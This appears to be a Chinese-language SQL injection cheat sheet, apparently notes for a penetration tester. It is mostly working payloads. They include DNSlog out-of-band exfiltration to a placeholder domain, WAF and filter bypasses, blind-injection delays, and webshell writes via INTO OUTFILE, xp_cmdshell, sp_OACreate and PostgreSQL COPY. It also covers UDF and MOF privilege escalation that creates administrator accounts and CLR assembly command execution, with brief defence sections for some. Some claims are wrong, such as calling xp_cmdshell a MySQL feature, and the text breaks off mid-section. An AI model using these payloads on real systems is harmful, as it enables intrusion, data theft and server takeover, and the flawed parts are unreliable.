xp_cmdshell:执行ping命令SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases:获取第一个数据库的名称+:将数据库名与你的 DNSlog 域名拼接
利用 sp_oacreatesp_oacreate 可以创建 OLE 对象,我们可以利用它来发起 HTTP 请求,从而触发 DNS 查询
- Payload 构造:
DECLARE @h INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @h OUT; EXEC sp_oamethod @h, 'Open', NULL, 'GET', 'http://' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';
PostgreSQL
在 PostgreSQL 中,COPY 命令和 pg_sleep 结合可以实现 DNSlog。但更直接的方法是利用 pg_send_query 或 UDF(用户定义函数)。
- Payload 构造:
SELECT * FROM users WHERE id = 1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.your-dnslog.com')) IS NOT NULL; - 解释:
pg_send_query():用于发送一个查询。(SELECT version()):获取 PostgreSQL 的版本信息。- 这个方法利用了 PostgreSQL 在解析域名时会触发 DNS 查询的特性
过滤逗号
在显示位上替换为常见的注入变量或其它语句
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C);
union select 1 from dual union select 2 from dual union select 3 from dual;
# dual是 MySQL/Oracle 的虚拟表(PostgreSQL 可省略,SQL Server 用sysobjects替代),用于无实际表时的 SELECT 查询;
union select 1 offset 0 union select 2 offset 0 union select 3 offset 0;
# OFFSET关键字(适配无dual的场景)
union select * from (select 1) t1 cross join (select 2) t2 cross join (select 3) t3;
#JOIN(复杂但绕WAF效果好)
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);SQL 延时盲注 sleep() 被禁用怎么绕过
1. 利用 BENCHMARK() 函数BENCHMARK() 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次,并返回执行时间。我们可以利用这个特性来造成可控的延时
- 原理:
BENCHMARK(count, expr)会让expr表达式执行count次。如果我们让它执行一个耗时但无害的操作,就可以造成明显的延时 - 基本语法:
BENCHMARK(count, expr) - 利用方式:
# 让 MD5('a') 重复执行 5,000,000 次,从而造成延时
AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1) 解释:
IF(condition, true_value, false_value):这是一个条件判断语句ascii(substr(database(),1,1))=115:这是我们的注入条件,判断数据库名的第一个字符的 ASCII 值是否为 115(即's')- 如果条件为真,
BENCHMARK()函数被执行,导致页面延迟;如果条件为假,则立即返回1,页面没有延迟
2. 利用 GET_LOCK() 函数GET_LOCK() 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁,并在指定的超时时间内等待。如果锁被其他会话占用,它就会一直等待直到超时。我们可以利用这个特性来造成延时
- 原理:
GET_LOCK(str, timeout)函数尝试获取一个名为str的锁,并等待timeout秒 - 利用方式:
``sql # 如果条件为真,则获取一个名为 'a' 的锁并等待 5 秒 AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1) ``
这种方法的缺点是,如果多个请求同时执行,可能会因为锁竞争而造成不可预知的行为
3. 利用 RLIKE/REGEXP 的正则特性
当使用 RLIKE 或 REGEXP 进行正则表达式匹配时,如果正则表达式足够复杂,并且目标字符串足够长,也会造成明显的性能消耗,从而实现延时效果
- 原理: 构造一个回溯(backtracking)量较大的正则表达式,让 MySQL 在匹配时消耗大量 CPU 资源
- 利用方式:
# 构造一个高回溯的正则表达式来消耗 CPU
AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1) 解释: rpad() 函数用于填充字符串,使其变得很长。RLIKE '(a.*)+(a.*)+' 是一个典型的回溯型正则表达式。当字符串很长时,匹配会非常耗时
4. 利用笛卡尔积
通过制造一个巨大的笛卡尔积,可以使查询的执行时间大大增加
- 原理: 当两个大表没有关联地进行连接时,结果集的行数是两个表行数的乘积
- 利用方式:
# 使用 information_schema.tables 来制造一个笛卡尔积
AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1)这种方法同样会造成明显的延迟,但查询结果可能会占用大量内存
outfile被过滤怎么绕
dumpfile()
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';利用日志文件
如果数据库开启了通用查询日志(general_log)或者慢查询日志(slow_query_log),并且你有权限修改日志路径,那么可以利用这个特性来写入 Webshell
- 步骤:
- 设置日志文件路径:将
general_log_file或slow_query_log_file的值修改为 Web 目录下的一个可写路径,例如/var/www/html/shell.php - 开启日志:将
general_log或slow_query_log设为ON - 写入恶意代码:执行一个包含 Webshell 代码的查询,例如
SELECT '<?php system($_GET["cmd"]); ?>'。这条查询语句会被写入到日志文件中,从而创建 Webshell
使用+号替代空格:例如,union+select+1,2,3。
URL编码替代:%20(空格)、%09(水平制表符HT)、%0A(换行符LF)、%0C(换页符FF)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)。
使用SQL注释符//替代空格,如:union//select。
括号()替代空格:select(database())。
使用报错注入技巧绕过限制。
报错注入函数
MySQL
函数/方法 | 利用原理 | 举例 |
updatexml() | 修改 XML 文档,不合法的 XPath 路径会报错并显示内容 | ... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1) |
extractvalue() | 从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容 | ... AND extractvalue(1, concat(0x7e, (SELECT user()))) |
floor() | 结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示 | ... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
name_const() | 用于创建一个带名称的匿名列。当在子查询中,我们使用 | AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
exp() | 我们可以通过 | AND (exp(~(SELECT * FROM (SELECT database())x))) |
SQL Server
函数/方法 | 利用原理 | 举例 |
convert() / cast() | 强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容 | ... AND 1=convert(int,(SELECT db_name())) |
PostgreSQL
函数/方法 | 利用原理 | 举例 |
cast() | 强制类型转换,将字符串转换为不兼容的数据类型时报错 | ... AND 1=CAST((SELECT version()) as int) |
Oracle
函数/方法 | 利用原理 | 举例 |
utl_inaddr.get_host_address() | utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 | ... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual))) |
ctxsys.drithsx.sn() | 在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容 | ... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')) |
dbms_utility.sqlcode_to_char() | 这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用 | AND 1=TO_NUMBER((SELECT 'a' |
SQL注入写shell
条件
权限:具备 File 权限,或者说有权限执行 LOAD_FILE()、INTO OUTFILE 或 INTO DUMPFILE 等文件操作函数
目标路径可写:网站服务器上的目标路径必须是可写的,且不能被权限系统限制
WAF 或防护软件:没有强大的 WAF (Web Application Firewall) 或其他安全软件拦截注入语句
1. MySQL:INTO OUTFILE
INTO OUTFILE 语句能够将查询结果导出到一个指定的文件中
利用步骤:
判断权限:首先,需要判断当前数据库用户是否具有 File 权限。可以尝试执行以下语句:
?id=1' AND (SELECT count(*) FROM mysql.user)>0--+如果返回正常,则可以初步判断有权限。更直接的方式是尝试利用 @@basedir 或 @@datadir 查看路径是否可写
- 获取网站绝对路径:如果不知道网站的绝对路径,可以尝试利用报错或联合查询来获取
# 利用报错获取
?id=1' AND (SELECT 1 FROM (SELECT count(*), concat(@@basedir,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+或者尝试猜测一些常见的路径,例如 /var/www/html/、C:/inetpub/wwwroot/ 等
构造注入语句:将包含 WebShell 代码的字符串作为查询结果,然后使用 INTO OUTFILE 导出到目标路径
# 假设我们想写入一个名为 shell.php 的文件
?id=1' UNION SELECT 1, '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+注意:
INTO OUTFILE导出时会以行的形式输出,每行末尾会有换行符,且不能覆盖已有文件。为了解决这个问题,通常会结合十六进制编码或LOAD_FILE()来绕过- 为了避免转义和换行问题,WebShell 代码通常会用十六进制进行编码
?id=1' UNION SELECT 1, 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+ 2. SQL Server:xp_cmdshellxp_cmdshell 是 SQL Server 的一个扩展存储过程,它允许在数据库中执行操作系统命令。如果它被启用,攻击者就可以直接执行命令来写入 WebShell
利用步骤:
判断 xp_cmdshell 是否启用:默认情况下,xp_cmdshell 是禁用的
;EXEC xp_cmdshell 'dir c:'-- 如果执行成功,说明已启用。如果没有,则需要尝试启用它
启用 xp_cmdshell:
;EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- 注意: 启用 xp_cmdshell 需要较高的权限(通常是 sysadmin 角色)
- 写入 WebShell:启用
xp_cmdshell后,可以使用echo命令将 WebShell 代码写入文件
;EXEC xp_cmdshell 'echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'-- ^ 是为了转义特殊字符 <、> 等
3. SQL Server:sp_OACreate
如果 xp_cmdshell 被禁用,攻击者还可以利用 sp_OACreate 等 OLE 自动化存储过程来执行命令
- 利用方式:利用
sp_OACreate创建一个WScript.Shell对象,然后通过其Run方法执行命令
;DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--4. PostgreSQL:COPY TO
PostgreSQL 提供了 COPY TO 命令,用于将表数据导出到文件中
*利用方式
创建一个临时表,并将 WebShell 代码插入其中
利用 COPY TO 命令将数据导出到目标文件
'; CREATE TABLE shell (cmd text); INSERT INTO shell VALUES ('<?php eval($_POST[cmd]);?>'); COPY shell TO '/var/www/html/shell.php';--注意: 执行 COPY 命令需要 superuser 权限,且目标路径必须是数据库服务器可读写的
宽字节注入原理
php的addslashes() 或 mysql_real_escape_string() 等函数来对单引号进行转义
输入
'
转义
\'
SQL 查询:
SELECT * FROM users WHERE id = '1\''
这句 SQL 语句是不合法的,因为 `\'` 被视为一个转义后的单引号,从而导致查询失败,注入被阻止是因为当后端数据库使用GBK时,我们可以用一个特殊字符来吃掉转义字符
%df
输入
id=1%df
URL解码后: id=1' (这里 是 0xdf 的GBK编码,具体字符取决于浏览器)
addslashes() 处理后: addslashes() 只会将单引号 ' 转义成 \'。 此时,字符串变为 1%df\'
在内存中,它的十六进制表示是: 31 25 64 66 5c 27MySQL 在接收到这个字符串时,会把它当作 GBK 编码进行解析。它会发现 %df(0xdf)是一个宽字节的开头,并且紧接着的 \(0x5c)恰好在GBK编码的合法范围内,可以和 0xdf 组成一个合法的汉字
%df%5c(0xdf和0x5c) 在GBK编码中是一个合法的汉字,例如“運”- 结果:
1%df\'在数据库看来就变成了1+ 一个汉字 +' - 最终的 SQL 查询:
SELECT * FROM users WHERE id = '1運''
此时,被转义的单引号 ' 重新获得了生命,因为它不再被认为是转义符的一部分。攻击者就可以继续使用后面的单引号进行SQL注入
二次注入漏洞原理
我们通过一个经典的案例来解释这个过程
假设有一个网站,允许用户注册并修改个人信息,其中包含用户名
第一阶段:数据注入
- 用户注册:注册时,应用对用户名进行了严格的过滤,阻止了单引号和一些 SQL 关键字
- 攻击者构造恶意用户名:攻击者注册一个名为
test' and 1=1--的账户。由于注册时的过滤机制,攻击者无法直接注入 - 攻击者换一种方式:攻击者注册一个名为
test的账户。然后,在修改用户名的功能中,他将用户名修改为test' and 1=1-- - 应用处理:假设应用在更新操作时对用户输入做了严格的过滤,但数据库中的新增操作没有。攻击者在第一次新增时,输入一个看似无害的用户名,例如
test
漏洞的真正利用:
现在,假设应用有一个功能,允许用户修改自己的个人信息,而这个功能在设计时存在缺陷
- 正常的修改用户信息 SQL 语句:
UPDATE users SET email = 'user@example.com' WHERE username = 'test';- 攻击者如何利用:
- 第一次注入:攻击者注册一个名为
test的账户。这个数据被安全地存储在数据库中 - 第二次注入:攻击者找到一个功能,例如“修改评论”,而这个功能会将评论内容与用户名关联起来。假设评论表是
comments,并且username列没有做任何过滤
攻击者提交了一条评论,内容为 ' or 1=1--。数据库执行了如下语句:
INSERT INTO comments (username, content) VALUES ('test', '' or 1=1--');此时,恶意数据 ' or 1=1-- 被安全地存储在了 comments 表中
- 触发漏洞:现在,应用中有一个管理员审核评论的功能。管理员点击审核按钮后,后端会执行一个不安全的查询,例如:
SELECT * FROM comments WHERE content = '' or 1=1--';这条查询语句由于没有对 content 字段进行二次过滤,导致 or 1=1-- 被当作 SQL 语句的一部分,从而绕过了原本的逻辑,直接获取了 comments 表中的所有数据,甚至可以被进一步利用进行数据泄露或篡改
union注入
假设一个网站的查询语句是这样拼接的:
SELECT * FROM users WHERE id = '用户输入';如果用户输入 1,执行的 SQL 语句就是:
SELECT * FROM users WHERE id = '1';堆叠注入攻击
如果攻击者在输入框中输入 1; DROP TABLE users,并且后端没有过滤分号,最终执行的 SQL 语句就会变成:
SELECT * FROM users WHERE id = '1';
DROP TABLE users;数据库服务器会按顺序执行这两条语句。第一条是正常的查询,第二条则是删除 users 表的恶意命令
MySQL提权
UDF 提权(User-Defined Function,用户自定义函数提权)
UDF 提权是 MySQL 提权场景中最经典、应用最广泛的方式之一。其核心原理是利用 MySQL 支持加载自定义函数(UDF)的特性 —— 用户可通过 C/C++ 编写包含系统命令执行逻辑的动态库文件,将其加载到 MySQL 中并注册为自定义函数,从而突破数据库层面限制,执行操作系统命令实现提权。
前提条件
- 权限要求:当前 MySQL 账户必须具备
CREATE FUNCTION(创建自定义函数)和FILE(文件读写)权限,若需加载插件形式的 UDF 还需SUPER权限(MySQL 5.1 及以上版本); - 路径与权限要求:需知晓 MySQL 插件目录(可通过
show variables like '%plugin_dir%';查询),且该目录对 MySQL 进程具备可写权限; - 版本适配:UDF 库文件需与 MySQL 版本、服务器系统架构(32/64 位)匹配(如 Linux 对应
.so文件,Windows 对应.dll文件)。
攻击步骤
步骤 1:上传恶意 UDF 库文件
攻击者通过 SQL 注入、文件写入漏洞(如 SELECT ... INTO OUTFILE),将预编译的恶意 UDF 动态库文件(如 Linux 下的 lib_mysqludf_sys.so、Windows 下的 mysqludf.dll)写入 MySQL 插件目录:
- Linux 典型插件目录:
/usr/lib/mysql/plugin/(不同发行版可能为/usr/lib64/mysql/plugin/); - Windows 典型插件目录:
C:\Program Files\MySQL\MySQL Server\版本号\lib\plugin\。
文件写入示例(Linux):
-- 利用 FILE 权限将 UDF 库文件写入插件目录(需先通过 hex 编码规避字符过滤)
SELECT 0x7F454C46...(UDF文件十六进制内容) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';十六进制可以看另一篇文章MySQL UDF 提权十六进制查询 | 国光
步骤 2:注册恶意自定义函数
通过 CREATE FUNCTION 语句,将 UDF 库中的系统命令执行函数(如 sys_exec、sys_eval)注册为 MySQL 可调用函数:
-- 注册 sys_eval 函数(执行系统命令并返回输出结果)
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
-- 注册 sys_exec 函数(执行系统命令,无返回结果,适合创建用户、启动服务等操作)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';步骤 3:执行系统命令实现提权
调用已注册的恶意函数,执行任意系统命令,获取操作系统层面的高权限:
-- 查看当前执行命令的用户(验证提权基础)
SELECT sys_eval('whoami');
-- Linux 下添加 root 权限用户
SELECT sys_eval('useradd -m -s /bin/bash hackuser && echo "hackuser:123456" | chpasswd');
-- Windows 下添加管理员用户
SELECT sys_eval('net user hackuser 123456 /add && net localgroup administrators hackuser /add');防御方法
- 最小权限原则:严格限制 MySQL 账户权限,普通业务账户仅授予
SELECT/INSERT/UPDATE/DELETE等必要权限,禁止授予FILE、CREATE FUNCTION、SUPER等高权限; - 加固文件读写配置:修改 MySQL 配置文件
my.cnf(Linux)/my.ini(Windows),设置secure_file_priv为指定安全目录(如secure_file_priv = /tmp/mysql_file/)或NULL(完全禁止文件导入导出),重启 MySQL 生效; - 限制插件目录权限:将 MySQL 插件目录的写入权限仅开放给 root 用户,禁止 MySQL 进程账户(如
mysql用户)修改该目录内容; - 定期审计:检查
mysql.func表(存储自定义函数),及时清理非授权的 UDF 函数; - 版本升级:升级至 MySQL 8.0+ 版本,该版本对 UDF 加载增加了更严格的权限和路径校验。
MOF 提权(Managed Object Format,托管对象格式提权)
只针对Windows管用,利用 Windows 系统 WMI(Windows 管理规范)服务的配置缺陷,特定版本的 Windows 系统会自动加载并执行 %systemroot%\system32\wbem\mof 目录下的 MOF 文件,攻击者通过 MySQL 的文件写入权限将恶意 MOF 文件写入该目录,触发系统执行命令实现提权
Windows 自动执行 MOF 文件的核心原因?%systemroot%\system32\wbem\mof 是 Windows 为 WMI 预留的 默认类定义目录,系统自动执行该目录下的 MOF 文件,本质是为了 初始化 WMI 功能,具体逻辑如下:
简化系统管理与类注册,自动触发,无需手动干预
- WMI 本身只提供 “管理框架”,但 “能管理哪些资源”(比如进程、服务、磁盘)需要通过 “类定义” 来告知 WMI。
- 微软将常用的系统管理类(如
Win32_Process、Win32_Service)以 MOF 文件的形式预置于mof目录(比如系统自带的wbemcons.mof、cimwin32.mof)。 - 系统启动时,
Winmgmt服务会自动扫描该目录,调用mofcomp.exe编译所有 MOF 文件,将类注册到 WMI 仓库 —— 这样 WMI 才能正常提供管理功能(比如用户用wmic process list查询进程时,就能识别Win32_Process类)。
执行时机:自动触发,无需手动干预 - 系统启动时(
Winmgmt服务启动); Winmgmt服务重启时;- 手动将 MOF 文件复制到该目录后(部分系统会实时监控目录变化)。
这个目录是 WMI 的 “类定义加载目录”,系统自动执行其中的 MOF 文件,是为了让 WMI 获得管理系统所需的 “元数据”
前提条件
- 系统环境:仅适用于 Windows Server 2003/2008(Windows 7/2012 及以上版本已修复该缺陷);
- 权限要求:MySQL 账户需具备
FILE权限,可执行SELECT ... INTO OUTFILE写入文件; - 路径权限:MySQL 进程账户需对
%systemroot%\system32\wbem\mof目录具备写入权限。
攻击步骤
步骤1:写恶意MOF文件
MOF 文件是 WMI 的元数据定义文件,攻击者编写包含系统命令执行逻辑的 MOF 文件(核心是通过 __EventFilter、__EventConsumer 等 WMI 类绑定事件,触发命令执行),示例核心内容:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
Name = "MyFilter";
EventNamespace = "Root\\CIMV2";
Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second = 0";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
Name = "MyConsumer";
ScriptingEngine = "VBScript";
ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\nobjShell.Run(\"net user hackuser 123456 /add & net localgroup administrators hackuser /add\")";
};
instance of __FilterToConsumerBinding as $Binding {
Consumer = $Consumer;
Filter = $EventFilter;
};上述 MOF 文件的作用:系统每分钟(秒数为 0 时)触发 VBScript 脚本,创建名为 hackuser 的管理员账户。
步骤 2:写入恶意 MOF 文件
利用 MySQL 的 FILE 权限,将恶意 MOF 文件写入 Windows 系统的指定目录:
-- 将 MOF 内容写入 %systemroot%\system32\wbem\mof 目录(需替换为实际系统路径)
SELECT '#pragma namespace("\\\\.\\root\\subscription")...'(MOF 文件内容) INTO OUTFILE 'C:\\WINDOWS\\system32\\wbem\\mof\\hack.mof';步骤 3:触发 MOF 文件执行
Windows 的 CIMOM(Common Information Model Object Manager)服务会周期性扫描 %systemroot%\system32\wbem\mof 目录,自动加载并执行新写入的 MOF 文件。一旦文件被加载,其中的命令会立即或按设定周期执行,攻击者即可获得系统管理员权限。
防御方法
- 核心权限管控:禁止 MySQL 账户获取
FILE权限,从源头阻止文件写入; - 系统版本升级:将 Windows 服务器升级至 Windows Server 2012 及以上版本,该版本修复了 MOF 文件自动执行的缺陷;
- 目录权限加固:限制
%systemroot%\system32\wbem\mof目录的写入权限,仅允许 SYSTEM 和 Administrators 组修改; - 监控 WMI 事件:开启 Windows 系统的 WMI 事件审计,及时发现非授权的 MOF 文件加载和事件绑定操作。
总结
- UDF 提权跨平台(Linux/Windows),核心依赖 MySQL 的自定义函数加载和文件读写权限,防御重点是权限管控和配置加固;
- MOF 提权仅适用于老旧 Windows 系统,核心利用 WMI 服务的自动加载机制,防御重点是系统升级和目录权限限制;
- 两种提权方式的核心防御共性:遵循最小权限原则,严格限制 MySQL 账户的高风险权限,定期审计系统和数据库的非授权操作。
MySQL 的 xp_cmdshell() 函数被禁用怎么绕过
- 利用其他扩展存储过程
MSSQL 中还有一些其他的扩展存储过程,它们可能没有 xp_cmdshell 那么直接,但仍然可以用于执行命令或读写文件。
sp_OACreate(OLE Automation Procedures)
该过程通常用于创建 COM 对象,若能找到合适的 COM 对象(如 WScript.Shell),可利用其执行命令。
示例代码:
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
EXEC sp_OAMethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\temp\output.txt';
-- 之后你可以读取 output.txt 来获取结果注意:这种方法依赖于是否启用了 OLE Automation Procedures,并且需要寻找可以被利用的 COM 对象。
- SQL Server Agent Jobs
若 SQL Server Agent 服务正在运行,且你拥有创建作业的权限,可创建新的 Agent Job,在其中执行 PowerShell 或命令行脚本。
攻击步骤
2. 创建作业(Job):创建一个 SQL Agent Job,步骤类型(Step Type)选择 Operating system (CmdExec) 或 PowerShell;
3. 编写脚本:在步骤中直接写入要执行的命令;
4. 启动作业:启动该作业,命令会在 SQL Server Agent 的权限下执行。
说明:这种方法的好处是,即使 xp_cmdshell 被禁用,Agent Job 依然可以运行。但前提是,你有权限创建并执行作业。
- CLR Assembly
SQL Server 提供了 CLR(Common Language Runtime)集成功能,允许在数据库中运行 .NET 代码。若能创建恶意的 CLR Assembly,并在其中编写执行命令的代码,可绕过 xp_cmdshell。
操作步骤
- 启用 CLR
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;- 创建并部署 Assembly
编写 C# 代码(使用 System.Diagnostics.Process 类执行命令),编译成 DLL 后上传到数据库;再创建 SQL 存储过程调用 Assembly 中的方法。
C# 代码示例:
using System;
using System.Diagnostics;
using System.Data.SqlClient;
using Microsoft.SqlServer.Server;
public class StoredProcedures
{
[SqlProcedure]
public static void CmdExec(string command)
{
Process.Start("cmd.exe", "/c " + command);
}
}SQL Server 端代码:
-- 创建 Assembly
CREATE ASSEMBLY CommandExec FROM 'C:\path\to\YourAssembly.dll' WITH PERMISSION_SET = UNSAFE;
-- 创建存储过程
CREATE PROCEDURE sp_CmdExec @command NVARCHAR(4000) AS
EXTERNAL NAME [YourAssembly].[StoredProcedures].[CmdExec];
-- 执行
EXEC sp_CmdExec 'whoami';注意:CLR Assembly 功能通常默认禁用,且创建 UNSAFE 权限集的 Assembly 需要 sysadmin 权限。
MySQL5.0上下版本区别
information_schma的有无
5.0版本以上:有,方便枚举出整个数据库的结构,使用像 SQLmap 这样的自动化工具
5.0版本以下:无,依赖盲注和字典攻击
并发操作模式
MySQL 5.0 以下:
- 多用户单操作:这个说法通常是指不完全支持多用户并发,或者并发控制机制相对简单。在某些版本中,对同一资源的并发访问可能导致锁定和性能问题。从渗透角度看,这可能导致一些复杂的注入技术(如基于锁定的时间盲注)效果不佳,但影响相对较小
MySQL 5.0 及以上:
- 多用户多操作:这通常指的是更好的并发控制和事务支持。MySQL 5.0 引入了事务和更强大的锁机制,使得多个用户可以同时对数据库进行复杂操作,而不会相互干扰。这对于正常的业务应用至关重要
SQLMap自带的脚本
1. 编码与混淆(绕过签名检测)
这类脚本通过对注入语句进行编码或转换,来改变其特征,以躲避基于签名的检测
charencode.py:对所有字符进行 URL 编码,适用于 URL 编码绕过randomcase.py:将 SQL 关键字的字母大小写随机化- 示例:
SELECT->sELeCT space2comment.py:将空格替换为 SQL 注释/**/- 示例:
SELECT user FROM users->SELECT/**/user/**/FROM/**/users space2mysqlblank.py:用 MySQL 专有的空格字符(如 Tab、换行符)替换空格base64encode.py:对整个注入语句进行 Base64 编码。需要目标网站解码才能生效
2. 空白字符与分隔符替换
这类脚本利用不同数据库对空白字符的解析差异来绕过过滤
apostrophemask.py:将单引号'替换为 UTF-8 编码的'equaltolike.py:将等号 = 替换为LIKE关键字- 示例:
id=1->id LIKE 1 unionalltounion.py:将UNION ALL替换为UNION,在某些情况下可能绕过过滤space2plus.py:将空格替换为加号+,但需要注意这可能影响语句语义
3. 语义与结构混淆
这类脚本通过改变语句的逻辑结构,来使注入语句看起来像正常的查询
between.py:将大于等于>=替换为BETWEEN- 示例:
id>=1->id BETWEEN 1 AND 999 ifnull2casewhenisnull.py:将IFNULL(A, B)替换为CASE WHEN ISNULL(A) THEN B ELSE A END
4. 绕过 WAF 的特定脚本
这些脚本通常针对特定的安全产品或通用 WAF 规则
modsecurityzeroversioned.py:在 SQL 语句后添加/*-!11111*/来绕过 ModSecurity WAF 的特定规则xforwardedfor.py:在 HTTP 请求头中伪造X-Forwarded-For字段,以绕过基于 IP 的限制sp_password.py:在有效载荷的末尾添加sp_password来绕过 MS-SQL Server 的日志记录
扫出.asp数据库,访问乱码怎么利用
用微软的access打开
用
打开
如果密码字段是加密或散列(hash)的,需要进一步处理
常见哈希类型:MD5、SHA1 等
破解方法:
在线查询:如果哈希值是常见的,可以尝试在 HashKiller、Crackstation 等在线网站查询。
字典破解:使用 John the Ripper 或 Hashcat 等工具,配合强大的密码字典进行暴力破解。
彩虹表:使用预先计算好的彩虹表进行快速查询
找到注入点怎么判断何种数据库
看报错信息
- MySQL:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use - SQL Server:
Microsoft OLE DB Provider for SQL Server、Incorrect syntax near '... - Oracle:
ORA-01756: quoted string not properly terminated - PostgreSQL:
PostgreSQL query failed: ERROR: parser: parse error - SQLite:
sqlite_query()、SQL syntax error
函数和语法判断
MySQL
version()
sleep() 如果延迟了5秒,可能是MySQL
user()
database()
loadfile() and load_file('/etc/passwd')SQLServer
@@version:and 1=1 and @@version。如果页面返回版本信息,则是 SQL Server
xp_cmdshell:and 1=1;exec xp_cmdshell('ping 127.0.0.1')--。如果请求延迟,可能存在命令执行漏洞
db_name():and db_name()
system_user:and system_userOracle
user:and user
sys.dba_tables:and 1=1 and (select count(*) from sys.dba_tables)。如果返回正常的页面,说明存在这张表
dbms_pipe.receive_message():and 1=1 and dbms_pipe.receive_message('a',5)。可以用来进行带外信道(OOB)注入PostgreSQL
pg_sleep():and pg_sleep(5)。如果页面延迟,很可能是 PostgreSQL
version():and version()
pg_database:and 1=1 and (select count(*) from pg_database)不同数据库的查询区别
每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断
- 字符串拼接:
- MySQL:
union select 'a','b' - SQL Server:
union select 'a'+'b' - Oracle:
union select 'a'||'b' - 注释符号:
- MySQL/PostgreSQL:
--(后面需要加空格)、# - SQL Server/Oracle:
-- - 内联注释:
/**/可以在多种数据库中使用
MySQL 一个 @ 和两个 @ 的区别
@(用户自定义变量)
一个 @ 符号代表用户自定义变量(User-Defined Variables)。这种变量是用户在当前会话中手动创建的,它的生命周期只存在于当前 MySQL 连接会话中。当会话结束时,变量也会被释放
特点:
- 创建与赋值:可以使用
SET或SELECT ... INTO语句来赋值 SET @var_name = value;SELECT column INTO @var_name FROM table;- 作用域:仅在当前连接会话中有效。一个用户设置的
@var_name无法被其他用户连接访问 - 用途:常用于存储临时数据、在多条 SQL 语句中传递值,或者在存储过程、函数中作为临时变量
示例:
-- 在当前会话中设置一个变量
SET @total_price = 100;
-- 使用该变量进行计算
SELECT @total_price * 1.1 AS price_with_tax;
-- 在另一个新的连接中,@total_price 变量是不存在的,它的值为 NULL。@@(系统变量)
两个 @ 符号代表系统变量(System Variables)。这些变量是 MySQL 服务器预先定义好的,用于控制服务器的各种行为和状态
系统变量分为两种:
- 全局系统变量 (
@@global.var_name):影响 MySQL 服务器的所有会话。需要有SUPER权限才能修改 - 会话系统变量 (
@@session.var_name或@@var_name):仅影响当前连接会话。它的值会继承自全局变量,但可以在会话中被单独修改,且不会影响其他会话
特点:
- 查看:可以使用
SHOW VARIABLES或SELECT @@var_name来查看 - 修改:使用
SET语句进行修改 SET GLOBAL max_connections = 200;SET SESSION sql_mode = 'STRICT_TRANS_TABLES';SET sql_mode = 'STRICT_TRANS_TABLES';(SESSION是默认的)- 用途:管理和调整数据库的各种配置,如最大连接数、字符集、缓冲区大小、SQL 模式等
示例:
-- 查看当前会话的字符集
SELECT @@character_set_client;
-- 查看全局最大连接数
SELECT @@global.max_connections;
-- 在当前会话中改变 SQL 模式,不影响其他会话
SET sql_mode = '';
-- 在所有会话中改变 SQL 模式 (需要 SUPER 权限)
SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES';特性 | @ (用户变量) | @@ (系统变量) |
全称 | User-Defined Variable | System Variable |
创建者 | 用户自定义 | MySQL 服务器预定义 |
作用域 | 仅当前会话 | 全局或当前会话 |
主要用途 | 存储临时数据,方便在多条 SQL 中传递 | 管理和配置服务器行为 |
生命周期 | 会话结束即失效 | 随服务器启动而加载 |
可否修改 | 用户随时可改 | 全局需要 SUPER 权限,会话可自由修改 |
为什么MySQL存储过程可以执行命令
1. xp_cmdshell 存储过程
这是 MySQL 中最著名,也是最危险的命令执行功能
